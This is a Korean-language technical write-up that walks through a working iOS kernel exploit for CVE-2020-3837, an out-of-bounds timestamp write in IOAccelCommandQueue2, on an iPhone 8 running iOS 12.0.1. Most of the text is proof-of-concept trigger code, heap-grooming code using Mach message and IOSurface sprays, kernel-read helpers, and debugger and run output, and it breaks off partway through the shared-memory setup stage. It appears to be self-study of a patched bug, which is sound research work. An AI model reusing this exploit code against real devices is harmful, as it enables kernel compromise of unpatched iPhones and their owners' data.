IOAccelBlockFencePort2::IOAccelBlockFencePort2 리턴값이 해당 필드에 저장된다.
여기까지가 수신용 알림 포트를 만들어야되는 이유가 되겠다.
__int64 __fastcall IOAccelCommandQueue2::set_notification_port(IOAccelCommandQueue2 *a1, __int64 a2)
{
IOGraphicsAccelerator2 *graphicsAccelerator2; // x21
IOGraphicsAccelerator2 *v5; // x19
__int64 result; // x0
OSObject *v7; // x0
OSObject *v8; // x0
IOGraphicsAccelerator2 *v9; // x19
graphicsAccelerator2 = a1->graphicsAccelerator2;
j__OSIncrementAtomic_29(&graphicsAccelerator2->lockCount);
j__lck_mtx_lock_14(graphicsAccelerator2->lock);
j__OSDecrementAtomic_2(&graphicsAccelerator2->lockCount);
IOGraphicsAccelerator2::lock_busy();
((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))graphicsAccelerator2->vtable->__ZN22IOGraphicsAccelerator218acceleratorDidLockEPKci)(
graphicsAccelerator2,
&empty,
0);
if ( *(_QWORD *)&a1->gap1[4] )
{
...
return 0xE00002C9LL;
}
v7 = (OSObject *)OSObject::operator new(0x50u);
v8 = IOAccelBlockFencePort2::IOAccelBlockFencePort2(v7);
*(_QWORD *)&a1->gap1[4] = v8;
if ( v8 )
{
if ( (((__int64 (__fastcall *)(OSObject *, __int64))v8->__vftable[1].~OSObject)(v8, a2) & 1) != 0 )
{
v9 = a1->graphicsAccelerator2;
((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))v9->vtable->__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(
v9,
&empty,
0);
IOGraphicsAccelerator2::unlock_busy(v9);
j__lck_mtx_unlock_14(v9->lock);
return 0;
}
v8 = *(OSObject **)&a1->gap1[4];
}
...
result = 0xE00002BDLL;
*(_QWORD *)&a1->gap1[4] = 0;
return result;
}
다시 돌아와서
이제 8바이트 헤더(명령 타입과 크기)의 IOAccelKernelCommand, 그 뒤에 오는 타입별 구조화된 데이터로 구성해준다. 구성된 데이터에 관해서는 “공유메모리가 어느 커널 주소에 해당되는지 확인하기” 단계에서 더 자세히 알아보겠다.
IOAccelCommandQueue2_submit_command_buffers를 호출하면 타임스탬프 파싱함과 동시에
각각의 0x4000 크기의 공유된 커널 메모리에 값을 쓸려고 할것이다.
...
struct {
struct IOAccelCommandQueueSubmitArgs_Header header;
struct IOAccelCommandQueueSubmitArgs_Command command;
} submit_args = {};
submit_args.header.count = 1;
submit_args.command.command_buffer_shmem_id = command_buffer_shmem->shmem_id;
submit_args.command.segment_list_shmem_id = segment_list_shmem->shmem_id;
struct IOAccelSegmentListHeader *slh = (void *)segment_list_shmem->data;
slh->length = 0x100;
slh->segment_count = 1;
struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);
srlh->kernel_commands_start_offset = 0;
srlh->kernel_commands_end_offset = 0x4000;
struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = (void *)command_buffer_shmem->data;
cmd1->command.type = 2;
cmd1->command.size = 0x4000 - 8;
struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1->command.size);
cmd2->command.type = 2;
cmd2->command.size = 8;
#define KTRW 0
printf("IOAccelCommandQueue2::submit_command_buffers()\n");
#if KTRW
sleep(4);
#endif
IOAccelCommandQueue2_submit_command_buffers(IOAccelCommandQueue2, &submit_args.header, sizeof(submit_args));
printf("timestamp = %llx\n", cmd1->timestamp);
#if KTRW
sleep(4);
#endif
유저랜드와 공유하는 커널 공간에는 0x4000 크기의 segment list와 그 뒤에 0x4000 크기의 command buffer가 들어간다.
하지만, cmd1->command.size = 0x4000 - 8; 인 경우 패닉이 발생하는데,
이 경우, command buffer 뒤에 맵핑되지 않은 공간의 첫 8바이트에다가 OOB Write하기 때문에 패닉이 발생한다.
// now:
// +------------------+------------------+------------------+
// | segment list | command buffer | unmapped ...
// +------------------+------------------+------------------+
//
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #1, stop reason = breakpoint 1.1
frame #0: 0xfffffff029efea8c kerneldec_1201_8
-> 0xfffffff029efea8c: str x0, [x20, #0x8]
0xfffffff029efea90: b 0xfffffff029efea00
0xfffffff029efea94: cbz x1, 0xfffffff029efeb64
0xfffffff029efea98: ldr w8, [x20, #0x10]
Target 0: (kerneldec_1201_8) stopped.
(lldb) reg read x20
x20 = 0xffffffe032793ff8
(lldb) x/16gx $x20
0xffffffe032793ff8: 0x0000000800000002 0x0000000000000000
0xffffffe032794008: 0x0000000000000000 0x0000000000000000
0xffffffe032794018: 0x0000000000000000 0x0000000000000000
...
warning: Not all bytes (8/128) were able to be read from 0xffffffe032793ff8.
공유메모리가 어느 커널 주소에 해당되는지 확인하기
이처럼 취약점은 페이지화 가능한 커널 맵의 서브맵에 매핑된 공유 메모리 버퍼 끝을 넘어 8바이트 타임스탬프의 일부 또는 전체를 쓸 수 있게 만든다. 이러한 페이지화 가능한 맵은 IOIteratePageableMaps()에 의해 필요에 따라 할당된다. 때문에 오버플로우가 대부분의 kalloc 할당이 발생하는 존 맵(zone map) 내부에서 발생하지 않으므로, 최근 공개된 iOS 커널 익스플로잇들에서 사용된 것과는 약간 다른 기법이 필요하다고 oob_timestamp 익스코드의 README 파일에 적혀있다.
그래서 저 공유메모리가 커널의 어느 주소에 해당되는지 poc_shmem_where 프로젝트를 만들었다.
https://github.com/wh1te4ever/xnu_1day_practice/tree/main/CVE-2020-3837/poc_shmem_where
아이디어는 공유 메모리를 할당하고 값을 쓸때에 +0x1000 위치에 특별한 시그니처를 남기는 것이다.
IOIteratePageableMaps 에 의해 제공되는 주소는 gIOKitPageableSpace에서 확인할 수 있고, 해당 구조체 필드를 따라 maps의 address와 end 범위를 0x1000 페이지 단위로 순회하면서 시그니처를 찾아내면 된다. (하지만, 엄청난 큰 크기로 공유메모리를 할당하려고 하면, maps의 address와 end 범위에 존재하지 않았다. 이는 나중에 조금 더 아랫부분에서 시행착오를 거친 경험을 이야기해보겠다.)
typedef struct {
vm_map_t map;
vm_offset_t address;
vm_offset_t end;
} IOMapData;
static struct {
UInt32 count;
UInt32 hint;
IOMapData maps[ kIOMaxPageableMaps ];
lck_mtx_t * lock;
} gIOKitPageableSpace;
void find_shmem_in_kernel(uint64_t *kva1, uint64_t *kva2, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig) {
uint64_t command_buffer_shmem_data_kva = 0;
uint64_t segment_list_shmem_data_kva = 0;
uint64_t gIOKitPageableSpace_start = kread64(ksym(KSYMBOL_gIOKitPageableSpace) + 0x10);
uint64_t gIOKitPageableSpace_end = kread64(ksym(KSYMBOL_gIOKitPageableSpace) + 0x18);
int i = 0;
while(1) {
uint64_t current_kva = gIOKitPageableSpace_start + i * 0x1000;
if(current_kva > gIOKitPageableSpace_end) {
ERROR("failed to find where shmem allocated in kernel\n");
break;
}
//check if valid readable kernel address to prevent kernel panic
uint64_t current_pa = kvtophys(current_kva);
if(current_pa == 0) continue;
if(physread64(current_pa) == command_buffer_shmem_sig) {
INFO("Found command_buffer_shmem in kernel: 0x%llx\n", current_kva-0x1000);
command_buffer_shmem_data_kva = current_kva-0x1000;
*kva1 = command_buffer_shmem_data_kva;
}
if(physread64(current_pa) == segment_list_shmem_sig) {
INFO("Found segment_list_shmem in kernel: 0x%llx\n", current_kva-0x1000);
segment_list_shmem_data_kva = current_kva-0x1000;
*kva2 = segment_list_shmem_data_kva;
}
if(segment_list_shmem_data_kva && command_buffer_shmem_data_kva) break;
i++;
}
}
아래 실행 결과처럼 segment list는 항상 command buffer 앞에 위치하고 있고,
iPhone-8--1201:~ root# CVE-2020-3837
[*] alloc_shmem ret: 0x0 ((os/kern) successful)
[i] offsets selected for iOS 12.0.1
host: 0xb03
[*] tfp0: 0xc03
[*] get_kbase ret: 0, kbase: 0xfffffff018604000, kslide: 0x11600000
[*] Found segment_list_shmem in kernel: 0xffffffe03231c000
[*] Found command_buffer_shmem in kernel: 0xffffffe032320000
[*] command_buffer_shmem_data_kva: 0xffffffe032320000
[*] segment_list_shmem_data_kva: 0xffffffe03231c000
구조화된 데이터는 다음과 같이 이뤄진다.

익스플로잇 방법
가장 큰 아이디어는 범위를 벗어난 OOB 타임스탬프 쓰기를 이용해 ipc_kmsg의 크기 필드를 손상시키는 것이다.
Jakeashacks님이 익스플로잇을 개선시킨 time_waste 프로젝트 코드를 같이 보면서 알아보겠다.
우선 먼저 200개의 포트를 new_mach_port 함수로 만든다.
new_mach_port는
새로운 Mach 포트를 수신권한과 함께 먼저 생성시킨뒤,
기존의 receive right로부터 send right를 생성하여 같은 태스크 이름 공간에 삽입함에 따라 send/receive 권한을 둘다 가지게 된다.
그런 다음, 포트의 큐(수신 큐) 제한을 MACH_PORT_QLIMIT_LARGE(1024)로 늘리기 위해 mpl_qlimit 필드를 지정해주는 것으로 보인다.
mach_port_t new_mach_port() {
mach_port_t port = MACH_PORT_NULL;
kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (ret) {
printf("[-] failed to allocate port\n");
return MACH_PORT_NULL;
}
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (ret) {
printf("[-] failed to insert right\n");
mach_port_destroy(mach_task_self(), port);
return MACH_PORT_NULL;
}
mach_port_limits_t limits = {0};
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
if (ret) {
printf("[-] failed to increase queue limit\n");
mach_port_destroy(mach_task_self(), port);
return MACH_PORT_NULL;
}
return port;
}
그러면 이제 POP_PORT 매크로로 하나씩 포트를 가져올 수 있다.
// setup 200 ports for later use
for (int i = 0; i < 200; i++) {
ports[i] = new_mach_port();
}
int port_i = 0;
#define POP_PORT() ports[port_i++]
힙 그루밍 (Heap Grooming)
익스플로잇되는 과정을 더 자세히 살펴볼 수 있도록
ENABLE_HELPER 매크로 부분에 코드를 추가해놓았다.
해당 부분을 활성화시키면, 어느 주소에 커널메모리가 할당된건지 쉽게 알 수 있다.
코드를 보았을떄, 익스플로잇 하기전에 앞서 힙 그루밍을 수행하는 단계로 보여진다.
힙 그루밍(Heap Grooming)이란, 할당자 allocator의 동작을 조작해 힙 레이아웃을 제어하며, 이후 취약점을 이용할때 원하는 데이터가 특정위치에 만들도록 하는 기법을 말한다.
커널 한 페이지 크기가 4K인지, 16K인지에 따라 커널 힙 공격이 다르게 이루어지는데, 현재 시연되는 아이폰8 기기는 16K이다.
생성되었던 각 10개의 포트로 10MB씩 포트 메시지를 할당시키고, 할당된 영역을 구분하기 위해 0x72 또는 0x74 바이트 버퍼들로 채워지게끔 만들었다.
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
msg->hdr.msgh_remote_port = destination;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
memcpy(&msg->buf[0], buffer, size);
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
printf("[-] failed to send message\n");
mach_port_destroy(mach_task_self(), destination);
free(msg);
return ret;
}
free(msg);
return KERN_SUCCESS;
}
...
// ----------- heap pre-exploit setup ----------- //
INFO("Doing stage 0 heap setup\n");
// fill kalloc_map so new allocations are always done in kernel_map (where our buffer that will get overflowed is)
mach_port_t saved_ports[10];
mach_msg_size_t msg_size = message_size_for_kalloc_size(7 * pagesize) - sizeof(struct simple_msg);
data = calloc(1, msg_size);
size_t stage0_sz = pagesize == 0x4000 ? 10 MB : 5 MB;
for (int i = 0; i < 10; i++) {
saved_ports[i] = POP_PORT();
#if ENABLE_HELPER
//helper; set signature
if((i % 2) == 0) {memset(data, 0x74, msg_size);}
else {memset(data, 0x72, msg_size);}
#endif
for (int j = 0; j < stage0_sz / (7 * pagesize); j++) {
kern_return_t ret = send_message(saved_ports[i], data, msg_size);
if (ret) {
ERROR("Failed to send message\n");
goto err;
}
}
#if ENABLE_HELPER
//helper; obtain msgdata_kptr
uint64_t kmsgdata_kptr = find_kmsgdata_from_port(saved_ports[i]);
INFO("saved_ports[%d](port=0x%x)'s msgdata_kptr = 0x%llx\n", i, saved_ports[i], kmsgdata_kptr);
#endif
}
free(data);
data = NULL;
// we'll never do allocations smaller than 8 pages, so create some 7 page holes so the system can do small allocations there and leave us in peace
mach_port_destroy(mach_task_self(), saved_ports[0]);
mach_port_destroy(mach_task_self(), saved_ports[2]);
mach_port_destroy(mach_task_self(), saved_ports[4]);
mach_port_destroy(mach_task_self(), saved_ports[5]);
mach_port_destroy(mach_task_self(), saved_ports[7]);
mach_port_destroy(mach_task_self(), saved_ports[9]);
// make a bunch of 8 page allocations to ensure there are no holes that mess with our allocations
mach_port_t spray = POP_PORT();
msg_size = message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg);
data = calloc(1, msg_size);
#if ENABLE_HELPER
//helper; set signature
memset(data, 0x81, msg_size);
#endif
for (int i = 0; i < MACH_PORT_QLIMIT_LARGE; i++) { //MACH_PORT_QLIMIT_LARGE = (1024)
kern_return_t ret = send_message(spray, data, msg_size);
if (ret) {
printf("[-] Failed to send message\n");
goto err;
}
}
#if ENABLE_HELPER
//helper; obtain msgdata_kptr
uint64_t kmsgdata_kptr = find_kmsgdata_from_port(spray);
INFO("spray(port=0x%x)'s msgdata_kptr = 0x%llx\n", spray, kmsgdata_kptr);
// getchar();
//
#endif
여기까지 실행해봤을때, 각 10개의 포트들에 0x72 또는 0x74 버퍼들로 이루어진 커널 메시지 주소는 다음과 같이 나왔다.
saved_ports[6] 이후부터는 커널 힙 할당이 0xffffffe0cXXXXXXX 부터 제공받는것을 알 수 있다.
[*] Doing stage 0 heap setup
[*] saved_ports[0](port=0x1603)'s msgdata_kptr = 0xffffffe02cff7048
[*] saved_ports[1](port=0x1703)'s msgdata_kptr = 0xffffffe02d9eb048
[*] saved_ports[2](port=0x1803)'s msgdata_kptr = 0xffffffe02e3df048
[*] saved_ports[3](port=0x2703)'s msgdata_kptr = 0xffffffe02edd3048
[*] saved_ports[4](port=0x2603)'s msgdata_kptr = 0xffffffe02f7c7048
[*] saved_ports[5](port=0x1903)'s msgdata_kptr = 0xffffffe0301bb048
[*] saved_ports[6](port=0x1a03)'s msgdata_kptr = 0xffffffe0c395b048
[*] saved_ports[7](port=0x2503)'s msgdata_kptr = 0xffffffe0c434f048
[*] saved_ports[8](port=0x2403)'s msgdata_kptr = 0xffffffe0c4d43048
[*] saved_ports[9](port=0x1b03)'s msgdata_kptr = 0xffffffe0c5737048
다음으로, saved_ports[0, 2, 4, 5, 7, 9] 총 6개의 할당받았던 포트를 해제한다.
중간중간 사이에 7개의 포트를 해제시키는데, 만약 다른 프로세스가 할당받을 떄 그곳에 할당받도록 만들기 위해서이다.
앞으로 8페이지보다 작은 할당을 하진 않을 테니, 7페이지 크기의 hole을 만들어서 시스템의 7페이지 이하의 작은 할당이 그 hole로 가도록 유도시키는 것으로 보인다.
// we'll never do allocations smaller than 8 pages, so create some 7 page holes so the system can do small allocations there and leave us in peace
mach_port_destroy(mach_task_self(), saved_ports[0]);
mach_port_destroy(mach_task_self(), saved_ports[2]);
mach_port_destroy(mach_task_self(), saved_ports[4]);
mach_port_destroy(mach_task_self(), saved_ports[5]);
mach_port_destroy(mach_task_self(), saved_ports[7]);
mach_port_destroy(mach_task_self(), saved_ports[9]);
포트 하나에 kalloc 크기 = 8페이지인 메시지를 큐 리밋만큼 채워 커널 힙을 8페이지 블록으로 꽉 채우는 작업이다.
// make a bunch of 8 page allocations to ensure there are no holes that mess with our allocations
mach_port_t spray = POP_PORT();
msg_size = message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg);
data = calloc(1, msg_size);
#if ENABLE_HELPER
//helper; set signature
memset(data, 0x81, msg_size);
#endif
for (int i = 0; i < MACH_PORT_QLIMIT_LARGE; i++) { //MACH_PORT_QLIMIT_LARGE = (1024)
kern_return_t ret = send_message(spray, data, msg_size);
if (ret) {
printf("[-] Failed to send message\n");
goto err;
}
}
#if ENABLE_HELPER
//helper; obtain msgdata_kptr
uint64_t kmsgdata_kptr = find_kmsgdata_from_port(spray);
INFO("spray(port=0x%x)'s msgdata_kptr = 0x%llx\n", spray, kmsgdata_kptr);
// getchar();
//
#endif
[*] spray(port=0x1c03)'s msgdata_kptr = 0xffffffe02cff8048
본격적인 힙 구성 시작
// ----------- heap stage 1 setup -----------//
INFO("Doing stage 1 heap setup\n");
1. IOSurface를 활용한 82MB 메모리영역 할당
IOSurface는 그래픽 버퍼의 처리 및 계산을 하기 위한 용도로 사용되는 커널 드라이버이다. 해당 커널 드라이버와 통신하기 위해 UserClient를 얻으면, 그 뒤로는 커널에 힙을 할당시키거나 스프레이하는데 유용하게 쓰인다.
여기서 우리는 IOSurace에서 제공하는 메소드인 IOSurfaceRootUserClient::set_value 를 이용하여 82M 크기의 빈 데이터를 적재시킨다.
int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key) {
uint32_t capacity = size / 16;
if (capacity > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
size_t args_size = sizeof(struct IOSurfaceValueArgs) + 9 * 4;
struct IOSurfaceValueArgs *args = calloc(1, args_size);
args->surface_id = IOSurface_id;
int i = 0;
args->xml[i++] = kOSSerializeBinarySignature; //<kOSSerializeBinarySignature />
args->xml[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; //<array capacity="2">
args->xml[i++] = kOSSerializeDictionary | capacity; //<dict capacity="capacity">
args->xml[i++] = kOSSerializeSymbol | 4; //<sym len="4">
args->xml[i++] = 0x00aabbcc; //\xaa\xbb\xcc</sym>
args->xml[i++] = kOSSerializeBoolean | kOSSerializeEndCollection; //<false/></dict>
args->xml[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; //<sym len="5">
args->xml[i++] = kalloc_key; //key</sym></array>
args->xml[i++] = 0;
/*
<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeDictionary capacity=${capacity}>
<kOSSerializeSymbol length=4>
0x00aabbcc?
</kOSSerializeSymbol>
<kOSSerializeBoolean>false</kOSSerializeBoolean>
</kOSSerializeDictionary>
<kOSSerializeSymbol length=5>
${kalloc_key}
</kOSSerializeSymbol>
0 // Null-terminate
*/
kern_return_t ret = IOSurface_set_value(args, args_size);
free(args);
return ret;
}
...
int property_index = 0;
uint32_t huge_kalloc_key = transpose(property_index++);
ret = IOSurface_empty_kalloc(82 MB, huge_kalloc_key);
if (ret) {
ERROR("Failed to allocate empty kalloc buffer (ret: 0x%x, %s)\n", ret, mach_error_string(ret));
goto err;
}

IOSurface를 활용하여 적재된 데이터는 어느 주소에 위치해있는지 어떻게 확인할 수 있을까?
아래와 같이 자기 프로세스의 proc 주소를 찾은뒤에, 구조체 필드에 접근함으로써 IOSurfaceRootClient 객체 주소까지 접근이 가능하다.

마찬가지로, IOSurfaceRootUserClient 객체부터 구조체 필드에 차레로 접근함으로써
적재된 82MB 크기의 OSDictionary 객체까지 접근이 가능하다.
IOSurface.kext의 경우 – 오픈소스로 공개되있지 않기 때문에 약간의 리버싱이 필요하였다.
아래는 IOSurface의 properties(=UserspaceValueDictionary) 필드까지 접근한 장면이고,

코드로 구현하면, 아래와 같다.
uint64_t port_to_kobject(mach_port_t port)
{
uint64_t ipc_port = find_port(port);
uint64_t kobject = kread64(ipc_port + 0x68); // 0x68 = p/x offsetof(ipc_port, kdata.kobject)
return kobject;
}
uint64_t userdict_from_IOSurface(void) {
uint64_t surfRoot = port_to_kobject(IOSurfaceRootUserClient);
// INFO("surfRoot: 0x%llx\n", surfRoot);
// p/x offsetof(IOSurfaceRootUserClient, IOSurfaceClientArray) = 0x118;
uint64_t surfClients = kread64(surfRoot + 0x118);
// INFO("surfClients: 0x%llx\n", surfClients);
uint64_t surfClient = kread64(surfClients + sizeof(uint64_t) * IOSurface_id);
// INFO("surfClient: 0x%llx\n", surfClient);
// p/x offsetof(IOSurfaceClient, IOSurface) = 0x40;
uint64_t surface = kread64(surfClient + 0x40);
// INFO("surface: 0x%llx\n", surface);
// p/x offsetof(IOSurface, UserspaceValueDictionary) = 0xe8
uint64_t userspaceValueDicts = kread64(surface + 0xe8);
if(userspaceValueDicts != 0) return userspaceValueDicts;
return 0;
}
properties(=UserspaceValueDictionary) 필드는 OSDictionary 타입이다.
pattern-f 씨가 구현한 kernel_fetch_dict 함수로 파싱한다음에는
//Thanks pattern-f, https://github.com/pattern-f/TQ-pre-jailbreak/blob/main/mylib/k_utils.c#L173
//found OSDictionary offsets from kernelcache.development.n71_151b3_6s
struct kOSDict *kernel_fetch_dict(uint64_t dict_addr)
{
char obj[0x28];
kreadbuf(dict_addr, obj, sizeof(obj));
uint32_t cap = *(uint32_t *)(obj + 0x18); // 0x18 = p/x offsetof(OSDictionary, capacity)
struct kOSDict *dict;
size_t alloc_size = sizeof(*dict) + cap * (sizeof(struct kDictEntry) + sizeof(char *) + 256);
dict = (struct kOSDict *)malloc(alloc_size);
dict->self_addr = dict_addr;
dict->cap = cap;
dict->count = *(uint32_t *)(obj + 0x14); // 0x14 = p/x offsetof(OSDictionary, count)
dict->items_addr = kread64(dict_addr + 0x20); // 0x20 = p/x offsetof(OSDictionary, dictionary)
char *ptr = dict->data;
dict->items = (struct kDictEntry *)ptr;
ptr += sizeof(struct kDictEntry) * dict->cap;
dict->names = (char **)ptr;
ptr += sizeof(char *) * dict->cap;
for (int i = 0; i < dict->cap; i++) {
dict->names[i] = ptr;
ptr += 256;
}
INFO("dict %#llx, items %#llx, count %u, capacity %u\n",
dict->self_addr, dict->items_addr, dict->count, dict->cap);
alloc_size = sizeof(struct kDictEntry) * dict->cap;
kreadbuf(dict->items_addr, dict->items, alloc_size);
for (int i = 0; i < dict->count; i++) {
char obj[0x18];
kreadbuf(dict->items[i].key, obj, sizeof(obj));
// OSSymbol
uint32_t len = *(uint32_t *)(obj + 0xc) >> 14;
if (len >= 256) {
len = 255;
}
uint64_t string = *(uint64_t *)(obj + 0x10); //0x10 = p/x offsetof(OSString, string)
kreadbuf(string, dict->names[i], len);
dict->names[i][len] = 0;
// INFO(" -> %s\n", dict->names[i]);
}
return dict;
}
이제 딕셔너리 내에 있는 오브젝트 주소를 가져올 수 있다.
해당 오브젝트 타입은 OSArray이거나 OSDictionary 등이 될 수 있는데,
dict = kernel_fetch_dict(userspaceValueDicts);
...
for (int i = 0; i < dict->count; i++) {
if(dict->items[i].value) {
우리는 args->xml[i++] = kOSSerializeDictionary | capacity;코드처럼 capacity와 같이 kOSSerializeDictionary 를 선언하여 Dictionary를 스프레이하였기 때문에, 해당 구조체를 알아보면 된다.
OSDictionary 구조체 중 capacity 필드는 +0x18 오프셋에 위치한다.
할당시킨 영역 크기는 82MB이므로, 해당 크기를 참고해서 OSDictionary 구조체의 capacity 필드를 읽었을때 서로 일치하는지 확인하면 된다.
00000000 struct __cppobj OSDictionary : OSCollection // sizeof=0x28
00000000 {
00000014 unsigned int count;
00000018 unsigned int capacity;
0000001C unsigned int capacityIncrement;
00000020 OSDictionary::dictEntry *dictionary;
00000028 };
그리고 OSDictionary::dictEntry 구조체 중 key 필드의 타입은 OSString로부터 상속받으며,
필드에 차례로 접근하여 OSString 구조체의 string 필드를 읽었을때,
0xaabbcc라는 값으로 데이터를 사전에 써놨기에 서로 일치하면 우리가 할당한 영역이라고 더더욱 확신활 수 있다.
00000000 struct OSDictionary::dictEntry // sizeof=0x10
00000000 {
00000000 const OSSymbol *key;
00000008 const OSMetaClassBase *value;
00000010 };
00000000 struct __cppobj OSSymbol : OSString // sizeof=0x18
00000000 {
00000018 };
00000000 struct __cppobj OSString : OSObject // sizeof=0x18
00000000 { // XREF: OSSymbol/r
00000000 // sub_FFFFFFF005C609D4/r
0000000C.0 unsigned __int32 flags : 14;
0000000C.14 unsigned __int32 length : 18;
00000010 char *string;
00000018 };
따라서 IOSurface를 활용하여 할당된 82MB 데이터가 존재하는지 확인시키는 코드는 다음과 같다.
#if ENABLE_HELPER
//helper; find our sprayed IOSurface data
uint64_t userspaceValueDicts = userdict_from_IOSurface();
INFO("IOSurface's userspaceValueDicts: 0x%llx\n", userspaceValueDicts);
struct kOSDict *dict = kernel_fetch_dict(userspaceValueDicts);
uint64_t osdict_entry = 0;
for (int i = 0; i < dict->count; i++) {
if(dict->items[i].value) {
uint32_t osdict_count = kread32(dict->items[i].value + off_osdictionary_count);
uint32_t osdict_capacity = kread32(dict->items[i].value + off_osdictionary_capacity);
osdict_entry = kread64(dict->items[i].value + off_osdictionary_dictionary);
if(osdict_capacity == (82 MB / 0x10)) {
uint64_t osdictentry_key = kread64(osdict_entry + off_osdictentry_dict);
uint64_t osdict_kbuffer = kread64(osdictentry_key + off_osstring_string);
if(kread32(osdict_kbuffer) == 0xaabbcc) {
SUCCESS("Found our 1st sprayed IOSurface data!\n");
INFO("OSDict from userspaceValueDicts[%u] = 0x%llx\n", i, dict->items[i].value);
INFO("osdict_count = 0x%x, osdict_capacity = 0x%x, osdict_entry = 0x%llx\n", osdict_count, osdict_capacity, osdict_entry);
INFO("osdictentry_key = 0x%llx\n", osdictentry_key);
INFO("osdict_kbuffer = 0x%llx -> 0x%x\n", osdict_kbuffer, kread32(osdict_kbuffer));
break;
}
}
}
}
// getchar();
//
#endif
실행 결과와 함께 huge kalloc은 아래 주소로 할당되었다.
huge kalloc(osdict_entry) = 0xffffffe0ca5d0000
[*] IOSurface's userspaceValueDicts: 0xffffffe002ba5230
[*] dict 0xffffffe002ba5230, items 0xffffffe002147e80, count 2, capacity 4
[+] Found our 1st sprayed IOSurface data!
[*] OSDict from userspaceValueDicts[1] = 0xffffffe002ba4d80
[*] osdict_count = 0x1, osdict_capacity = 0x520000, osdict_entry = 0xffffffe0ca5d0000
[*] osdictentry_key = 0xffffffe0019e1300
[*] osdict_kbuffer = 0xffffffe0037e8aa0 -> 0xaabbcc

2. 96MB seglist, cmdbuf 공유메모리 생성
다음으로, 향후에 OOB 취약점을 트리거시키는데 필요한 seglist, cmdbuf 2개의 공유메모리 영역를 생성한다.
할당시키는 과정에서 내부적으로 IOIteratePageableMaps()를 통해 IOKit 페이저블 메모리 영역을 할당하게 된다. IOKit 패이저블 맵의 최대 크기는 96MB이며, 각각 96MB 크기의 커맨드 버퍼와 세그먼트 리스트 영역을 생성하여 각자가 별도의 페이저블 맵에 할당되도록 만들 수 있다.
이는 공유 메모리 주소 예측에 사용할 수 있는 공간을 최대화시킬 수 있고, 커맨드 버퍼 끝을 벗어난 OOB 쓰기가 바로 인접한 다음 메모리 영역에 위치하도록 보장한다.
공유메모리를 생성하는데 앞서 커맨드 버퍼 크기를 아래와 같이
cmd1->command.size = (uint32_t)buffer_size - 16; 즉, 마지막 뺄 값을 -16으로 지정시킨것을 확인할 수 있다.
우리가 이전에 POC 트리거하려고 했을때는 -8로 뺄셈을 진행하였는데, 이 경우 타임스탬프가 최대 8바이트까지 OOB Write가 발생하여 패닉이 발생했기에, 이를 방지하는것을 보인다.
이미 공유메모리 생성을 한 이후로도, 언제든지 cmd1->command.size를 수정하여 submit_command_buffer를 호출하면 언제든지 OOB Write 버그를 트리거시킬 수 있다.
생성된 공유메모리가 커널의 어느 주소에 해당되는지 추후 확인하기 위해 공유 메모리를 할당하고 값을 쓸때 +0x1000 위치에 특별한 시그니처를 남겼다.
커맨드 버퍼 – 0x4142434445464748 세그먼트 리스트 – 0x5152535455565758
int alloc_shmem_with_sig(uint32_t buffer_size, struct IOAccelDeviceShmemData *cmdbuf, struct IOAccelDeviceShmemData *seglist, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig) {
struct IOAccelDeviceShmemData command_buffer_shmem;
struct IOAccelDeviceShmemData segment_list_shmem;
kern_return_t kr = IOAccelSharedUserClient2_create_shmem(buffer_size, &command_buffer_shmem);
if (kr) {
printf("[-] IOAccelSharedUserClient2_create_shmem: 0x%x (%s)\n", kr, mach_error_string(kr));
return kr;
}
kr = IOAccelSharedUserClient2_create_shmem(buffer_size, &segment_list_shmem);
if (kr) {
printf("[-] IOAccelSharedUserClient2_create_shmem: 0x%x (%s)\n", kr, mach_error_string(kr));
return kr;
}
// set signature
*(uint64_t*)(command_buffer_shmem.data + 0x1000) = command_buffer_shmem_sig;
*(uint64_t*)(segment_list_shmem.data + 0x1000) = segment_list_shmem_sig;
*cmdbuf = command_buffer_shmem;
*seglist = segment_list_shmem;
submit_args.header.count = 1;
submit_args.command.command_buffer_shmem_id = command_buffer_shmem.shmem_id;
submit_args.command.segment_list_shmem_id = segment_list_shmem.shmem_id;
struct IOAccelSegmentListHeader *slh = segment_list_shmem.data;
slh->length = 0x100;
slh->segment_count = 1;
struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);
srlh->kernel_commands_start_offset = 0;
srlh->kernel_commands_end_offset = buffer_size;
// this is just a filler for the first 0x4000 - n bytes, timestamp written in off_timestamp = 8
struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = command_buffer_shmem.data;
cmd1->command.type = 2;
cmd1->command.size = (uint32_t)buffer_size - 16;
// put command 2 after command 1, so now timestamp written in cmd1->command.size + off_timestamp (8) = 0x4000 <= 8 bytes written OOB!
